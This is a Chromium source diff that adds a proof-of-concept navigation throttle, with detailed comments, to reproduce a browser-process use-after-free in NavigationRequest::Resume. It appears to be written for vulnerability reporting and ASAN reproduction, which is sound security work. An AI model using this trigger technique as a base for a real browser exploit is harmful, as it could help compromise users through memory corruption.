diff --git a/content/browser/renderer_host/navigation_throttle_registry_impl.cc b/content/browser/renderer_host/navigation_throttle_registry_impl.cc index b164b0055212c..7e0707677de50 100644 --- a/content/browser/renderer_host/navigation_throttle_registry_impl.cc +++ b/content/browser/renderer_host/navigation_throttle_registry_impl.cc @@ -33,6 +33,14 @@ #include "content/common/features.h" #include "content/public/browser/navigation_handle.h" +// === POC includes (UAF in NavigationRequest::Resume) === +#include "base/functional/bind.h" +#include "base/logging.h" +#include "base/task/single_thread_task_runner.h" +#include "content/browser/renderer_host/frame_tree_node.h" +#include "content/public/browser/navigation_discard_reason.h" +// ======================================================= + #if BUILDFLAG(IS_ANDROID) #include "content/browser/renderer_host/android_spare_renderer_navigation_throttle.h" #endif // BUILDFLAG(IS_ANDROID) @@ -53,6 +61,137 @@ std::unique_ptr CreateNavigationThrottleRunner( is_primary_main_frame); } +// ============================================================================= +// POC: Browser-process UAF in NavigationRequest::Resume crash-logging path +// ============================================================================= +// +// The bug (navigation_request.cc:~8400-8407): +// +// void NavigationRequest::Resume(NavigationThrottle* resuming_throttle) { +// ... +// if (response_body_watcher_) { +// ... +// std::move(response_body_callback_).Run(std::string()); // (A) +// if (this_ptr.WasInvalidated()) { // (B) +// SCOPED_CRASH_KEY_STRING32("Bug411238078", "throttle", +// resuming_throttle->GetNameForLogging()); // (C) UAF +// ... +// +// (A) can synchronously destroy |this| (NavigationRequest). NavigationRequest +// owns throttle_registry_ (unique_ptr). throttle_registry_ owns throttles_ +// (vector>). resuming_throttle is one of +// those throttles -- it is freed inside (A). +// (B) correctly detects that |this| was destroyed. +// (C) calls a pure virtual on the freed resuming_throttle. resuming_throttle is +// a raw NavigationThrottle* (function parameter), not raw_ptr, so +// MiraclePtr does not protect it. ASAN reports heap-use-after-free here. +// +// This throttle simulates what an attacker-influenced throttle (or what +// ProfileManagementNavigationThrottle does in production) would do: +// 1. WillProcessResponse(): call GetResponseBody(cb), return DEFER. +// The cb destroys the NavigationRequest when invoked. +// 2. Post a task to call Resume() before any body bytes arrive. +// 3. Resume() invokes cb with an empty string -> NavigationRequest is freed +// mid-function -> resuming_throttle is dangling -> GetNameForLogging() UAF. +// +// Trigger: navigate to any URL whose query contains "uafpoc-trigger". The HTTP +// server must delay the response body so the mojo body-watcher does not preempt +// our posted Resume() task. +class UAFPocThrottle : public NavigationThrottle { + public: + explicit UAFPocThrottle(NavigationThrottleRegistry& registry) + : NavigationThrottle(registry) {} + + ~UAFPocThrottle() override { + LOG(ERROR) << "[UAFPoc] ~UAFPocThrottle: throttle is being FREED. " + "resuming_throttle in NavigationRequest::Resume() now dangles."; + } + + const char* GetNameForLogging() override { return "UAFPocThrottle"; } + + ThrottleCheckResult WillProcessResponse() override { + LOG(ERROR) << "[UAFPoc] WillProcessResponse: arming the bug"; + + // Snapshot the FrameTreeNode now. The callback below uses this to + // synchronously destroy the NavigationRequest. We can't use + // navigation_handle() inside the callback because by the time we want to + // do anything interesting, the throttle's registry_ ref would be dangling. + NavigationRequest* req = NavigationRequest::From(navigation_handle()); + FrameTreeNode* ftn = req->frame_tree_node(); + + // Register a response-body callback that synchronously destroys the + // NavigationRequest. This is what NavigationRequest::Resume() will invoke + // at line ~8401: std::move(response_body_callback_).Run(std::string()). + // + // ResetNavigationRequest() runs ~NavigationRequest synchronously, which + // destroys throttle_registry_ (unique_ptr member), which destroys + // throttles_ (vector>), which frees |this|. + navigation_handle()->GetResponseBody(base::BindOnce( + [](FrameTreeNode* ftn, const std::string& body) { + LOG(ERROR) << "[UAFPoc] response_body_callback: body.size()=" + << body.size() + << " -- calling ResetNavigationRequest() to free " + "NavigationRequest + all throttles"; + ftn->ResetNavigationRequest( + NavigationDiscardReason::kExplicitCancellation); + LOG(ERROR) << "[UAFPoc] response_body_callback: returned. " + "NavigationRequest and resuming_throttle are now freed. " + "Next access in Resume() is UAF."; + }, + ftn)); + + // Post a task to call Resume() on the next message-loop iteration. + // The HTTP server delays the body, so the mojo body-watcher (armed inside + // GetResponseBody via ArmOrNotify) will not fire before this task does. + // + // Timeline when this task fires: + // NavigationThrottle::Resume() [navigation_throttle.cc:95] + // NavigationRequest::Resume(this) [navigation_request.cc:8386] + // throttle_registry_->GetDeferringThrottles().size() == 1 -> true + // is_resuming_ = true + // response_body_watcher_ != nullptr -> true, enter branch + // response_body_watcher_.reset() + // this_ptr = weak_factory_.GetWeakPtr() + // response_body_callback_.Run("") -> our lambda above + // ftn->ResetNavigationRequest() -> ~NavigationRequest + // ~throttle_registry_ -> ~throttles_ -> ~UAFPocThrottle [FREE] + // this_ptr.WasInvalidated() -> true, enter UAF branch + // SCOPED_CRASH_KEY_STRING32(..., resuming_throttle->GetNameForLogging()) + // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + // virtual dispatch through freed vtable + // *** ASAN: heap-use-after-free *** + base::SingleThreadTaskRunner::GetCurrentDefault()->PostTask( + FROM_HERE, base::BindOnce(&UAFPocThrottle::DeferredResume, + weak_factory_.GetWeakPtr())); + + LOG(ERROR) << "[UAFPoc] WillProcessResponse: returning DEFER. " + "response_body_watcher_ is now armed; Resume() task is queued."; + return DEFER; + } + + static void MaybeCreateAndAdd(NavigationThrottleRegistry& registry) { + const GURL& url = registry.GetNavigationHandle().GetURL(); + if (url.query().find("uafpoc-trigger") == std::string::npos) { + return; + } + LOG(ERROR) << "[UAFPoc] Registering UAFPocThrottle for " << url.spec(); + registry.AddThrottle(std::make_unique(registry)); + } + + private: + void DeferredResume() { + LOG(ERROR) << "[UAFPoc] DeferredResume: calling NavigationThrottle::Resume()." + " response_body_watcher_ should still be armed."; + Resume(); // protected, virtual -> NavigationRequest::Resume(this) + // Unreachable: |this| is freed inside Resume() before it returns. + } + + base::WeakPtrFactory weak_factory_{this}; +}; +// ============================================================================= +// END POC +// ============================================================================= + } // namespace NavigationThrottleRegistryBase::~NavigationThrottleRegistryBase() = default; @@ -158,6 +297,12 @@ void NavigationThrottleRegistryImpl::RegisterNavigationThrottles() { // DO NOT ADD any throttles after this line. + // === POC: register UAF-trigger throttle (only for ?uafpoc-trigger URLs) === + // Inserted last so no other throttle's WillProcessResponse runs after ours + // returns DEFER (we need GetDeferringThrottles().size() == 1 in Resume()). + UAFPocThrottle::MaybeCreateAndAdd(*this); + // ========================================================================= + // Insert all testing NavigationThrottles last. throttles_.insert(throttles_.end(), std::make_move_iterator(testing_throttles.begin()),